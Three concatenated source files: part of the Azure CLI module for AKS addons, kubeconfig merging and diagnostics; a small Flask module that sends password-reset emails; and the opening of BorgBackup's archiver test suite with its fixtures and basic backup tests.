addons, workspace_resource_id=None, subnet_name=None, appgw_name=None, appgw_subnet_prefix=None, appgw_id=None, appgw_subnet_id=None, appgw_shared=False, appgw_watch_namespace=None, no_wait=False): instance = client.get(resource_group_name, name) subscription_id = get_subscription_id(cmd.cli_ctx) service_principal_client_id = instance.service_principal_profile.client_id instance = _update_addons(cmd, instance, subscription_id, resource_group_name, name, addons, enable=True, workspace_resource_id=workspace_resource_id, subnet_name=subnet_name, appgw_name=appgw_name, appgw_subnet_prefix=appgw_subnet_prefix, appgw_id=appgw_id, appgw_subnet_id=appgw_subnet_id, appgw_shared=appgw_shared, appgw_watch_namespace=appgw_watch_namespace, no_wait=no_wait) if 'omsagent' in instance.addon_profiles and instance.addon_profiles['omsagent'].enabled: _ensure_container_insights_for_monitoring(cmd, instance.addon_profiles['omsagent']) if CONST_INGRESS_APPGW_ADDON_NAME in instance.addon_profiles: if CONST_INGRESS_APPGW_APPLICATION_GATEWAY_ID in instance.addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME].config: appgw_id = instance.addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME].config[CONST_INGRESS_APPGW_APPLICATION_GATEWAY_ID] from msrestazure.tools import parse_resource_id, resource_id appgw_id_dict = parse_resource_id(appgw_id) appgw_group_id = resource_id(subscription=appgw_id_dict["subscription"], resource_group=appgw_id_dict["resource_group"]) if not _add_role_assignment(cmd.cli_ctx, 'Contributor', service_principal_client_id, scope=appgw_group_id): logger.warning('Could not create a role assignment for application gateway: {appgw_id} ' 'specified in {CONST_INGRESS_APPGW_ADDON_NAME} addon. ' 'Are you an Owner on this subscription?') if CONST_INGRESS_APPGW_SUBNET_ID in instance.addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME].config: subnet_id = instance.addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME].config[CONST_INGRESS_APPGW_SUBNET_ID] from msrestazure.tools import parse_resource_id, resource_id if not _add_role_assignment(cmd.cli_ctx, 'Contributor', service_principal_client_id, scope=subnet_id): logger.warning('Could not create a role assignment for subnet: {subnet_id} ' 'specified in {CONST_INGRESS_APPGW_ADDON_NAME} addon. ' 'Are you an Owner on this subscription?') if 'omsagent' in instance.addon_profiles and instance.addon_profiles['omsagent'].enabled: # adding a wait here since we rely on the result for role assignment result = LongRunningOperation(cmd.cli_ctx)(client.create_or_update(resource_group_name, name, instance)) cloud_name = cmd.cli_ctx.cloud.name # mdm metrics supported only in Azure Public cloud so add the role assignment only in this cloud if cloud_name.lower() == 'azurecloud': from msrestazure.tools import resource_id cluster_resource_id = resource_id( subscription=subscription_id, resource_group=resource_group_name, namespace='Microsoft.ContainerService', type='managedClusters', name=name ) _add_monitoring_role_assignment(result, cluster_resource_id, cmd) else: result = sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) return result def aks_rotate_certs(cmd, client, resource_group_name, name, no_wait=True): # pylint: disable=unused-argument return sdk_no_wait(no_wait, client.rotate_cluster_certificates, resource_group_name, name) def _update_addons(cmd, # pylint: disable=too-many-branches,too-many-statements instance, subscription_id, resource_group_name, name, addons, enable, workspace_resource_id=None, subnet_name=None, appgw_name=None, appgw_subnet_prefix=None, appgw_id=None, appgw_subnet_id=None, appgw_shared=False, appgw_watch_namespace=None, no_wait=False): # pylint: disable=unused-argument # parse the comma-separated addons argument addon_args = addons.split(',') addon_profiles = instance.addon_profiles or {} if 'kube-dashboard' in addon_args and 'kubeDashboard' not in addon_profiles: addon_profiles['kubeDashboard'] = ManagedClusterAddonProfile(enabled=True) os_type = 'Linux' # for each addons argument for addon_arg in addon_args: addon = ADDONS[addon_arg] if addon == 'aciConnector': # only linux is supported for now, in the future this will be a user flag addon += os_type # addon name is case insensitive addon = next((x for x in addon_profiles.keys() if x.lower() == addon.lower()), addon) if enable: # add new addons or update existing ones and enable them addon_profile = addon_profiles.get(addon, ManagedClusterAddonProfile(enabled=False)) # special config handling for certain addons if addon == 'omsagent': if addon_profile.enabled: raise CLIError('The monitoring addon is already enabled for this managed cluster.\n' 'To change monitoring configuration, run "az aks disable-addons -a monitoring"' 'before enabling it again.') if not workspace_resource_id: workspace_resource_id = _ensure_default_log_analytics_workspace_for_monitoring( cmd, subscription_id, resource_group_name) workspace_resource_id = workspace_resource_id.strip() if not workspace_resource_id.startswith('/'): workspace_resource_id = '/' + workspace_resource_id if workspace_resource_id.endswith('/'): workspace_resource_id = workspace_resource_id.rstrip('/') addon_profile.config = {'logAnalyticsWorkspaceResourceID': workspace_resource_id} elif addon.lower() == ('aciConnector' + os_type).lower(): if addon_profile.enabled: raise CLIError('The virtual-node addon is already enabled for this managed cluster.\n' 'To change virtual-node configuration, run ' '"az aks disable-addons -a virtual-node -g {resource_group_name}" ' 'before enabling it again.') if not subnet_name: raise CLIError('The aci-connector addon requires setting a subnet name.') addon_profile.config = {'SubnetName': subnet_name} elif addon.lower() == CONST_INGRESS_APPGW_ADDON_NAME: if addon_profile.enabled: raise CLIError('The ingress-appgw addon is already enabled for this managed cluster.\n' 'To change ingress-appgw configuration, run ' f'"az aks disable-addons -a ingress-appgw -n {name} -g {resource_group_name}" ' 'before enabling it again.') addon_profile = ManagedClusterAddonProfile(enabled=True, config={}) if appgw_name is not None: addon_profile.config[CONST_INGRESS_APPGW_APPLICATION_GATEWAY_NAME] = appgw_name if appgw_subnet_prefix is not None: addon_profile.config[CONST_INGRESS_APPGW_SUBNET_PREFIX] = appgw_subnet_prefix if appgw_id is not None: addon_profile.config[CONST_INGRESS_APPGW_APPLICATION_GATEWAY_ID] = appgw_id if appgw_subnet_id is not None: addon_profile.config[CONST_INGRESS_APPGW_SUBNET_ID] = appgw_subnet_id if appgw_shared: addon_profile.config[CONST_INGRESS_APPGW_SHARED] = "true" if appgw_watch_namespace is not None: addon_profile.config[CONST_INGRESS_APPGW_WATCH_NAMESPACE] = appgw_watch_namespace addon_profiles[addon] = addon_profile else: if addon not in addon_profiles: raise CLIError("The addon {} is not installed.".format(addon)) addon_profiles[addon].config = None addon_profiles[addon].enabled = enable instance.addon_profiles = addon_profiles # null out the SP and AAD profile because otherwise validation complains instance.service_principal_profile = None instance.aad_profile = None return instance def aks_get_versions(cmd, client, location): # pylint: disable=unused-argument return client.list_orchestrators(location, resource_type='managedClusters') def _print_or_merge_credentials(path, kubeconfig, overwrite_existing, context_name): """Merge an unencrypted kubeconfig into the file at the specified path, or print it to stdout if the path is "-". """ # Special case for printing to stdout if path == "-": print(kubeconfig) return # ensure that at least an empty ~/.kube/config exists directory = os.path.dirname(path) if directory and not os.path.exists(directory): try: os.makedirs(directory) except OSError as ex: if ex.errno != errno.EEXIST: raise if not os.path.exists(path): with os.fdopen(os.open(path, os.O_CREAT | os.O_WRONLY, 0o600), 'wt'): pass # merge the new kubeconfig into the existing one fd, temp_path = tempfile.mkstemp() additional_file = os.fdopen(fd, 'w+t') try: additional_file.write(kubeconfig) additional_file.flush() merge_kubernetes_configurations(path, temp_path, overwrite_existing, context_name) except yaml.YAMLError as ex: logger.warning('Failed to merge credentials to kube config file: %s', ex) finally: additional_file.close() os.remove(temp_path) def _handle_merge(existing, addition, key, replace): if not addition[key]: return if existing[key] is None: existing[key] = addition[key] return for i in addition[key]: for j in existing[key]: if i['name'] == j['name']: if replace or i == j: existing[key].remove(j) else: from knack.prompting import prompt_y_n msg = 'A different object named {} already exists in your kubeconfig file.\nOverwrite?' overwrite = False try: overwrite = prompt_y_n(msg.format(i['name'])) except NoTTYException: pass if overwrite: existing[key].remove(j) else: msg = 'A different object named {} already exists in {} in your kubeconfig file.' raise CLIError(msg.format(i['name'], key)) existing[key].append(i) def load_kubernetes_configuration(filename): try: with open(filename) as stream: return yaml.safe_load(stream) except (IOError, OSError) as ex: if getattr(ex, 'errno', 0) == errno.ENOENT: raise CLIError('{} does not exist'.format(filename)) except (yaml.parser.ParserError, UnicodeDecodeError) as ex: raise CLIError('Error parsing {} ({})'.format(filename, str(ex))) def merge_kubernetes_configurations(existing_file, addition_file, replace, context_name=None): existing = load_kubernetes_configuration(existing_file) addition = load_kubernetes_configuration(addition_file) if context_name is not None: addition['contexts'][0]['name'] = context_name addition['contexts'][0]['context']['cluster'] = context_name addition['clusters'][0]['name'] = context_name addition['current-context'] = context_name # rename the admin context so it doesn't overwrite the user context for ctx in addition.get('contexts', []): try: if ctx['context']['user'].startswith('clusterAdmin'): admin_name = ctx['name'] + '-admin' addition['current-context'] = ctx['name'] = admin_name break except (KeyError, TypeError): continue if addition is None: raise CLIError('failed to load additional configuration from {}'.format(addition_file)) if existing is None: existing = addition else: _handle_merge(existing, addition, 'clusters', replace) _handle_merge(existing, addition, 'users', replace) _handle_merge(existing, addition, 'contexts', replace) existing['current-context'] = addition['current-context'] # check that ~/.kube/config is only read- and writable by its owner if platform.system() != 'Windows': existing_file_perms = "{:o}".format(stat.S_IMODE(os.lstat(existing_file).st_mode)) if not existing_file_perms.endswith('600'): logger.warning('%s has permissions "%s".\nIt should be readable and writable only by its owner.', existing_file, existing_file_perms) with open(existing_file, 'w+') as stream: yaml.safe_dump(existing, stream, default_flow_style=False) current_context = addition.get('current-context', 'UNKNOWN') msg = 'Merged "{}" as current context in {}'.format(current_context, existing_file) print(msg) def cloud_storage_account_service_factory(cli_ctx, kwargs): from azure.cli.core.profiles import ResourceType, get_sdk t_cloud_storage_account = get_sdk(cli_ctx, ResourceType.DATA_STORAGE, 'common#CloudStorageAccount') account_name = kwargs.pop('account_name', None) account_key = kwargs.pop('account_key', None) sas_token = kwargs.pop('sas_token', None) kwargs.pop('connection_string', None) return t_cloud_storage_account(account_name, account_key, sas_token) def get_storage_account_from_diag_settings(cli_ctx, resource_group_name, name): from azure.mgmt.monitor import MonitorManagementClient diag_settings_client = get_mgmt_service_client(cli_ctx, MonitorManagementClient).diagnostic_settings subscription_id = get_subscription_id(cli_ctx) aks_resource_id = '/subscriptions/{0}/resourceGroups/{1}/providers/Microsoft.ContainerService' \ '/managedClusters/{2}'.format(subscription_id, resource_group_name, name) diag_settings = diag_settings_client.list(aks_resource_id) if diag_settings.value: return diag_settings.value[0].storage_account_id print("No diag settings specified") return None def display_diagnostics_report(temp_kubeconfig_path): # pylint: disable=too-many-statements if not which('kubectl'): raise CLIError('Can not find kubectl executable in PATH') nodes = subprocess.check_output( ["kubectl", "--kubeconfig", temp_kubeconfig_path, "get", "node", "--no-headers"], universal_newlines=True) logger.debug(nodes) node_lines = nodes.splitlines() ready_nodes = {} for node_line in node_lines: columns = node_line.split() logger.debug(node_line) if columns[1] != "Ready": logger.warning("Node %s is not Ready. Current state is: %s.", columns[0], columns[1]) else: ready_nodes[columns[0]] = False logger.debug('There are %s ready nodes in the cluster', str(len(ready_nodes))) if not ready_nodes: logger.warning('No nodes are ready in the current cluster. Diagnostics info might not be available.') network_config_array = [] network_status_array = [] apds_created = False max_retry = 10 for retry in range(0, max_retry): if not apds_created: apd = subprocess.check_output( ["kubectl", "--kubeconfig", temp_kubeconfig_path, "get", "apd", "-n", "aks-periscope", "--no-headers"], universal_newlines=True ) apd_lines = apd.splitlines() if apd_lines and 'No resources found' in apd_lines[0]: apd_lines.pop(0) print("Got {} diagnostic results for {} ready nodes{}\r".format(len(apd_lines), len(ready_nodes), '.' * retry), end='') if len(apd_lines) < len(ready_nodes): time.sleep(3) else: apds_created = True print() else: for node_name in ready_nodes: if ready_nodes[node_name]: continue apdName = "aks-periscope-diagnostic-" + node_name try: network_config = subprocess.check_output( ["kubectl", "--kubeconfig", temp_kubeconfig_path, "get", "apd", apdName, "-n", "aks-periscope", "-o=jsonpath={.spec.networkconfig}"], universal_newlines=True) logger.debug('Dns status for node %s is %s', node_name, network_config) network_status = subprocess.check_output( ["kubectl", "--kubeconfig", temp_kubeconfig_path, "get", "apd", apdName, "-n", "aks-periscope", "-o=jsonpath={.spec.networkoutbound}"], universal_newlines=True) logger.debug('Network status for node %s is %s', node_name, network_status) if not network_config or not network_status: print("The diagnostics information for node {} is not ready yet. " "Will try again in 10 seconds.".format(node_name)) time.sleep(10) break network_config_array += json.loads('[' + network_config + ']') network_status_object = json.loads(network_status) network_status_array += format_diag_status(network_status_object) ready_nodes[node_name] = True except subprocess.CalledProcessError as err: raise CLIError(err.output) print() if network_config_array: print("Below are the network configuration for each node: ") print() print(tabulate(network_config_array, headers="keys", tablefmt='simple')) print() else: logger.warning("Could not get network config. " "Please run 'az aks kanalyze' command later to get the analysis results.") if network_status_array: print("Below are the network connectivity results for each node:") print() print(tabulate(network_status_array, headers="keys", tablefmt='simple')) else: logger.warning("Could not get networking status. " "Please run 'az aks kanalyze' command later to get the analysis results.") def format_diag_status(diag_status): for diag in diag_status: if diag["Status"]: if "Error:" in diag["Status"]: diag["Status"] = f'{colorama.Fore.RED}{diag["Status"]}{colorama.Style.RESET_ALL}' else: diag["Status"] = f'{colorama.Fore.GREEN}{diag["Status"]}{colorama.Style.RESET_ALL}' return diag_status def format_bright(msg): return f'\033[1m{colorama.Style.BRIGHT}{msg}{colorama.Style.RESET_ALL}' def format_hyperlink(the_link): return f'\033[1m{colorama.Style.BRIGHT}{colorama.Fore.BLUE}{the_link}{colorama.Style.RESET_ALL}'
email.py
from threading import Thread from flask import current_app, render_template from flask_mail import Message from app import mail from app.common.file import put_to_file def send_async_email(app, msg): with app.app_context(): mail.send(msg) def send_email(subject, sender, recipients, text_body, html_body): msg = Message(subject, sender=sender, recipients=recipients) msg.body = text_body msg.html = html_body #mail.send(msg) Thread(target=send_async_email, args=(current_app, msg)).start() if (current_app.config['IS_LOGGING_MAIL']): debug_email(subject, sender, recipients, text_body) def send_password_reset_email(member): token = member.get_reset_password_token() send_email('[{}] Reset Your Password'.format(current_app.config['FBD_SITE_NAME']), sender=current_app.config['FBD_ADMIN_MAIL'], recipients=[member.email], text_body=render_template('email/reset_password.txt', member=member, token=token), html_body=render_template('email/reset_password.html', member=member, token=token)) def debug_email(subject, sender, recipients, body): data = '\n-----------------------------\n' data += 'to: {}\nfrom: {}\nsubject: {}\n'.format(', '.join(recipients), sender, subject) data += '---------------\n' data += body data += '\n-----------------------------\n' put_to_file('logs/mail.log', data)
archiver.py
import argparse import dateutil.tz import errno import io import json import logging import os import pstats import random import re import shutil import socket import stat import subprocess import sys import tempfile import time import unittest from binascii import unhexlify, b2a_base64 from configparser import ConfigParser from datetime import datetime from datetime import timezone from datetime import timedelta from hashlib import sha256 from io import BytesIO, StringIO from unittest.mock import patch import pytest import borg import borg.helpers.errors from .. import xattr, helpers, platform from ..archive import Archive, ChunkBuffer from ..archiver import Archiver, parse_storage_quota, PURE_PYTHON_MSGPACK_WARNING from ..cache import Cache, LocalCache from ..chunker import has_seek_hole from ..constants import * # NOQA from ..crypto.low_level import bytes_to_long, num_cipher_blocks from ..crypto.key import FlexiKeyBase, RepoKey, KeyfileKey, Passphrase, TAMRequiredError from ..crypto.keymanager import RepoIdMismatch, NotABorgKeyFile from ..crypto.file_integrity import FileIntegrityError from ..helpers import Location, get_security_dir from ..helpers import Manifest, MandatoryFeatureUnsupported from ..helpers import EXIT_SUCCESS, EXIT_WARNING, EXIT_ERROR from ..helpers import bin_to_hex from ..helpers import MAX_S from ..helpers import msgpack from ..helpers import flags_noatime, flags_normal from ..nanorst import RstToTextLazy, rst_to_terminal from ..patterns import IECommand, PatternMatcher, parse_pattern from ..item import Item, ItemDiff, chunks_contents_equal from ..locking import LockFailed from ..logger import setup_logging from ..remote import RemoteRepository, PathNotAllowed from ..repository import Repository from . import has_lchflags, llfuse from . import BaseTestCase, changedir, environment_variable, no_selinux from . import are_symlinks_supported, are_hardlinks_supported, are_fifos_supported, is_utime_fully_supported, is_birthtime_fully_supported from .platform import fakeroot_detected from .upgrader import make_attic_repo from . import key src_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), '..')) def exec_cmd(*args, archiver=None, fork=False, exe=None, input=b'', binary_output=False, **kw): if fork: try: if exe is None: borg = (sys.executable, '-m', 'borg.archiver') elif isinstance(exe, str): borg = (exe, ) elif not isinstance(exe, tuple): raise ValueError('exe must be None, a tuple or a str') output = subprocess.check_output(borg + args, stderr=subprocess.STDOUT, input=input) ret = 0 except subprocess.CalledProcessError as e: output = e.output ret = e.returncode except SystemExit as e: # possibly raised by argparse output = '' ret = e.code if binary_output: return ret, output else: return ret, os.fsdecode(output) else: stdin, stdout, stderr = sys.stdin, sys.stdout, sys.stderr try: sys.stdin = StringIO(input.decode()) sys.stdin.buffer = BytesIO(input) output = BytesIO() # Always use utf-8 here, to simply .decode() below output_text = sys.stdout = sys.stderr = io.TextIOWrapper(output, encoding='utf-8') if archiver is None: archiver = Archiver() archiver.prerun_checks = lambda *args: None archiver.exit_code = EXIT_SUCCESS helpers.exit_code = EXIT_SUCCESS try: args = archiver.parse_args(list(args)) # argparse parsing may raise SystemExit when the command line is bad or # actions that abort early (eg. --help) where given. Catch this and return # the error code as-if we invoked a Borg binary. except SystemExit as e: output_text.flush() return e.code, output.getvalue() if binary_output else output.getvalue().decode() ret = archiver.run(args) output_text.flush() return ret, output.getvalue() if binary_output else output.getvalue().decode() finally: sys.stdin, sys.stdout, sys.stderr = stdin, stdout, stderr def have_gnutar(): if not shutil.which('tar'): return False popen = subprocess.Popen(['tar', '--version'], stdout=subprocess.PIPE) stdout, stderr = popen.communicate() return b'GNU tar' in stdout # check if the binary "borg.exe" is available (for local testing a symlink to virtualenv/bin/borg should do) try: exec_cmd('help', exe='borg.exe', fork=True) BORG_EXES = ['python', 'binary', ] except FileNotFoundError: BORG_EXES = ['python', ] @pytest.fixture(params=BORG_EXES) def cmd(request): if request.param == 'python': exe = None elif request.param == 'binary': exe = 'borg.exe' else: raise ValueError("param must be 'python' or 'binary'") def exec_fn(*args, **kw): return exec_cmd(*args, exe=exe, fork=True, **kw) return exec_fn def test_return_codes(cmd, tmpdir): repo = tmpdir.mkdir('repo') input = tmpdir.mkdir('input') output = tmpdir.mkdir('output') input.join('test_file').write('content') rc, out = cmd('init', '--encryption=none', '%s' % str(repo)) assert rc == EXIT_SUCCESS rc, out = cmd('create', '%s::archive' % repo, str(input)) assert rc == EXIT_SUCCESS with changedir(str(output)): rc, out = cmd('extract', '%s::archive' % repo) assert rc == EXIT_SUCCESS rc, out = cmd('extract', '%s::archive' % repo, 'does/not/match') assert rc == EXIT_WARNING # pattern did not match rc, out = cmd('create', '%s::archive' % repo, str(input)) assert rc == EXIT_ERROR # duplicate archive name """ test_disk_full is very slow and not recommended to be included in daily testing. for this test, an empty, writable 16MB filesystem mounted on DF_MOUNT is required. for speed and other reasons, it is recommended that the underlying block device is in RAM, not a magnetic or flash disk. assuming /tmp is a tmpfs (in memory filesystem), one can use this: dd if=/dev/zero of=/tmp/borg-disk bs=16M count=1 mkfs.ext4 /tmp/borg-disk mkdir /tmp/borg-mount sudo mount /tmp/borg-disk /tmp/borg-mount if the directory does not exist, the test will be skipped. """ DF_MOUNT = '/tmp/borg-mount' @pytest.mark.skipif(not os.path.exists(DF_MOUNT), reason="needs a 16MB fs mounted on %s" % DF_MOUNT) def test_disk_full(cmd): def make_files(dir, count, size, rnd=True): shutil.rmtree(dir, ignore_errors=True) os.mkdir(dir) if rnd: count = random.randint(1, count) if size > 1: size = random.randint(1, size) for i in range(count): fn = os.path.join(dir, "file%03d" % i) with open(fn, 'wb') as f: data = os.urandom(size) f.write(data) with environment_variable(BORG_CHECK_I_KNOW_WHAT_I_AM_DOING='YES'): mount = DF_MOUNT assert os.path.exists(mount) repo = os.path.join(mount, 'repo') input = os.path.join(mount, 'input') reserve = os.path.join(mount, 'reserve') for j in range(100): shutil.rmtree(repo, ignore_errors=True) shutil.rmtree(input, ignore_errors=True) # keep some space and some inodes in reserve that we can free up later: make_files(reserve, 80, 100000, rnd=False) rc, out = cmd('init', repo) if rc != EXIT_SUCCESS: print('init', rc, out) assert rc == EXIT_SUCCESS try: success, i = True, 0 while success: i += 1 try: make_files(input, 20, 200000) except OSError as err: if err.errno == errno.ENOSPC: # already out of space break raise try: rc, out = cmd('create', '%s::test%03d' % (repo, i), input) success = rc == EXIT_SUCCESS if not success: print('create', rc, out) finally: # make sure repo is not locked shutil.rmtree(os.path.join(repo, 'lock.exclusive'), ignore_errors=True) os.remove(os.path.join(repo, 'lock.roster')) finally: # now some error happened, likely we are out of disk space. # free some space so we can expect borg to be able to work normally: shutil.rmtree(reserve, ignore_errors=True) rc, out = cmd('list', repo) if rc != EXIT_SUCCESS: print('list', rc, out) rc, out = cmd('check', '--repair', repo) if rc != EXIT_SUCCESS: print('check', rc, out) assert rc == EXIT_SUCCESS class ArchiverTestCaseBase(BaseTestCase): EXE = None # python source based FORK_DEFAULT = False prefix = '' def setUp(self): os.environ['BORG_CHECK_I_KNOW_WHAT_I_AM_DOING'] = 'YES' os.environ['BORG_DELETE_I_KNOW_WHAT_I_AM_DOING'] = 'YES' os.environ['BORG_PASSPHRASE'] = 'waytooeasyonlyfortests' os.environ['BORG_SELFTEST'] = 'disabled' self.archiver = not self.FORK_DEFAULT and Archiver() or None self.tmpdir = tempfile.mkdtemp() self.repository_path = os.path.join(self.tmpdir, 'repository') self.repository_location = self.prefix + self.repository_path self.input_path = os.path.join(self.tmpdir, 'input') self.output_path = os.path.join(self.tmpdir, 'output') self.keys_path = os.path.join(self.tmpdir, 'keys') self.cache_path = os.path.join(self.tmpdir, 'cache') self.exclude_file_path = os.path.join(self.tmpdir, 'excludes') self.patterns_file_path = os.path.join(self.tmpdir, 'patterns') os.environ['BORG_KEYS_DIR'] = self.keys_path os.environ['BORG_CACHE_DIR'] = self.cache_path os.mkdir(self.input_path) os.chmod(self.input_path, 0o777) # avoid troubles with fakeroot / FUSE os.mkdir(self.output_path) os.mkdir(self.keys_path) os.mkdir(self.cache_path) with open(self.exclude_file_path, 'wb') as fd: fd.write(b'input/file2\n# A comment line, then a blank line\n\n') with open(self.patterns_file_path, 'wb') as fd: fd.write(b'+input/file_important\n- input/file*\n# A comment line, then a blank line\n\n') self._old_wd = os.getcwd() os.chdir(self.tmpdir) def tearDown(self): os.chdir(self._old_wd) # note: ignore_errors=True as workaround for issue #862 shutil.rmtree(self.tmpdir, ignore_errors=True) setup_logging() def cmd(self, *args, **kw): exit_code = kw.pop('exit_code', 0) fork = kw.pop('fork', None) binary_output = kw.get('binary_output', False) if fork is None: fork = self.FORK_DEFAULT ret, output = exec_cmd(*args, fork=fork, exe=self.EXE, archiver=self.archiver, **kw) if ret != exit_code: print(output) self.assert_equal(ret, exit_code) # if tests are run with the pure-python msgpack, there will be warnings about # this in the output, which would make a lot of tests fail. pp_msg = PURE_PYTHON_MSGPACK_WARNING.encode() if binary_output else PURE_PYTHON_MSGPACK_WARNING empty = b'' if binary_output else '' output = empty.join(line for line in output.splitlines(keepends=True) if pp_msg not in line) return output def create_src_archive(self, name): self.cmd('create', '--compression=lz4', self.repository_location + '::' + name, src_dir) def open_archive(self, name): repository = Repository(self.repository_path, exclusive=True) with repository: manifest, key = Manifest.load(repository, Manifest.NO_OPERATION_CHECK) archive = Archive(repository, key, manifest, name) return archive, repository def open_repository(self): return Repository(self.repository_path, exclusive=True) def create_regular_file(self, name, size=0, contents=None): assert not (size != 0 and contents and len(contents) != size), 'size and contents do not match' filename = os.path.join(self.input_path, name) if not os.path.exists(os.path.dirname(filename)): os.makedirs(os.path.dirname(filename)) with open(filename, 'wb') as fd: if contents is None: contents = b'X' * size fd.write(contents) def create_test_files(self): """Create a minimal test case including all supported file types """ # File self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('flagfile', size=1024) # Directory self.create_regular_file('dir2/file2', size=1024 * 80) # File mode os.chmod('input/file1', 0o4755) # Hard link if are_hardlinks_supported(): os.link(os.path.join(self.input_path, 'file1'), os.path.join(self.input_path, 'hardlink')) # Symlink if are_symlinks_supported(): os.symlink('somewhere', os.path.join(self.input_path, 'link1')) self.create_regular_file('fusexattr', size=1) if not xattr.XATTR_FAKEROOT and xattr.is_enabled(self.input_path): fn = os.fsencode(os.path.join(self.input_path, 'fusexattr')) # ironically, due to the way how fakeroot works, comparing FUSE file xattrs to orig file xattrs # will FAIL if fakeroot supports xattrs, thus we only set the xattr if XATTR_FAKEROOT is False. # This is because fakeroot with xattr-support does not propagate xattrs of the underlying file # into "fakeroot space". Because the xattrs exposed by borgfs are these of an underlying file # (from fakeroots point of view) they are invisible to the test process inside the fakeroot. xattr.setxattr(fn, b'user.foo', b'bar') xattr.setxattr(fn, b'user.empty', b'') # XXX this always fails for me # ubuntu 14.04, on a TMP dir filesystem with user_xattr, using fakeroot # same for newer ubuntu and centos. # if this is supported just on specific platform, platform should be checked first, # so that the test setup for all tests using it does not fail here always for others. # xattr.setxattr(os.path.join(self.input_path, 'link1'), b'user.foo_symlink', b'bar_symlink', follow_symlinks=False) # FIFO node if are_fifos_supported(): os.mkfifo(os.path.join(self.input_path, 'fifo1')) if has_lchflags: platform.set_flags(os.path.join(self.input_path, 'flagfile'), stat.UF_NODUMP) try: # Block device os.mknod('input/bdev', 0o600 | stat.S_IFBLK, os.makedev(10, 20)) # Char device os.mknod('input/cdev', 0o600 | stat.S_IFCHR, os.makedev(30, 40)) # File mode os.chmod('input/dir2', 0o555) # if we take away write perms, we need root to remove contents # File owner os.chown('input/file1', 100, 200) # raises OSError invalid argument on cygwin have_root = True # we have (fake)root except PermissionError: have_root = False except OSError as e: # Note: ENOSYS "Function not implemented" happens as non-root on Win 10 Linux Subsystem. if e.errno not in (errno.EINVAL, errno.ENOSYS): raise have_root = False time.sleep(1) # "empty" must have newer timestamp than other files self.create_regular_file('empty', size=0) return have_root class ArchiverTestCase(ArchiverTestCaseBase): requires_hardlinks = pytest.mark.skipif(not are_hardlinks_supported(), reason='hardlinks not supported') def get_security_dir(self): repository_id = bin_to_hex(self._extract_repository_id(self.repository_path)) return get_security_dir(repository_id) def test_basic_functionality(self): have_root = self.create_test_files() # fork required to test show-rc output output = self.cmd('init', '--encryption=repokey', '--show-version', '--show-rc', self.repository_location, fork=True) self.assert_in('borgbackup version', output) self.assert_in('terminating with success status, rc 0', output) self.cmd('create', '--exclude-nodump', self.repository_location + '::test', 'input') output = self.cmd('create', '--exclude-nodump', '--stats', self.repository_location + '::test.2', 'input') self.assert_in('Archive name: test.2', output) self.assert_in('This archive: ', output) with changedir('output'): self.cmd('extract', self.repository_location + '::test') list_output = self.cmd('list', '--short', self.repository_location) self.assert_in('test', list_output) self.assert_in('test.2', list_output) expected = [ 'input', 'input/bdev', 'input/cdev', 'input/dir2', 'input/dir2/file2', 'input/empty', 'input/file1', 'input/flagfile', ] if are_fifos_supported(): expected.append('input/fifo1') if are_symlinks_supported(): expected.append('input/link1') if are_hardlinks_supported(): expected.append('input/hardlink') if not have_root: # we could not create these device files without (fake)root expected.remove('input/bdev') expected.remove('input/cdev') if has_lchflags: # remove the file we did not backup, so input and output become equal expected.remove('input/flagfile') # this file is UF_NODUMP os.remove(os.path.join('input', 'flagfile')) list_output = self.cmd('list', '--short', self.repository_location + '::test') for name in expected: self.assert_in(name, list_output) self.assert_dirs_equal('input', 'output/input') info_output = self.cmd('info', self.repository_location + '::test') item_count = 4 if has_lchflags else 5 # one file is UF_NODUMP self.assert_in('Number of files: %d' % item_count, info_output) shutil.rmtree(self.cache_path) info_output2 = self.cmd('info', self.repository_location + '::test') def filter(output): # filter for interesting "info" output, ignore cache rebuilding related stuff prefixes = ['Name:', 'Fingerprint:', 'Number of files:', 'This archive:', 'All archives:', 'Chunk index:', ] result = [] for line in output.splitlines(): for prefix in prefixes: if line.startswith(prefix): result.append(line) return '\n'.join(result) # the interesting parts of info_output2 and info_output should be same self.assert_equal(filter(info_output), filter(info_output2)) @requires_hardlinks def test_create_duplicate_root(self): # setup for #5603 path_a = os.path.join(self.input_path, 'a') path_b = os.path.join(self.input_path, 'b') os.mkdir(path_a) os.mkdir(path_b) hl_a = os.path.join(path_a, 'hardlink') hl_b = os.path.join(path_b, 'hardlink') self.create_regular_file(hl_a, contents=b'123456') os.link(hl_a, hl_b) self.cmd('init', '--encryption=none', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input', 'input') # give input twice! # test if created archive has 'input' contents twice: archive_list = self.cmd('list', '--json-lines', self.repository_location + '::test') paths = [json.loads(line)['path'] for line in archive_list.split('\n') if line] # we have all fs items exactly once! assert sorted(paths) == ['input', 'input/a', 'input/a/hardlink', 'input/b', 'input/b/hardlink'] def test_init_parent_dirs(self): parent_path = os.path.join(self.tmpdir, 'parent1', 'parent2') repository_path = os.path.join(parent_path, 'repository') repository_location = self.prefix + repository_path with pytest.raises(Repository.ParentPathDoesNotExist): # normal borg init does NOT create missing parent dirs self.cmd('init', '--encryption=none', repository_location) # but if told so, it does: self.cmd('init', '--encryption=none', '--make-parent-dirs', repository_location) assert os.path.exists(parent_path) def test_unix_socket(self): self.cmd('init', '--encryption=repokey', self.repository_location) try: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.bind(os.path.join(self.input_path, 'unix-socket')) except PermissionError as err: if err.errno == errno.EPERM: pytest.skip('unix sockets disabled or not supported') elif err.errno == errno.EACCES: pytest.skip('permission denied to create unix sockets') self.cmd('create', self.repository_location + '::test', 'input') sock.close() with changedir('output'): self.cmd('extract', self.repository_location + '::test') assert not os.path.exists('input/unix-socket') @pytest.mark.skipif(not are_symlinks_supported(), reason='symlinks not supported') def test_symlink_extract(self): self.create_test_files() self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') with changedir('output'): self.cmd('extract', self.repository_location + '::test') assert os.readlink('input/link1') == 'somewhere' @pytest.mark.skipif(not is_utime_fully_supported(), reason='cannot properly setup and execute test without utime') def test_atime(self): def has_noatime(some_file): atime_before = os.stat(some_file).st_atime_ns try: with open(os.open(some_file, 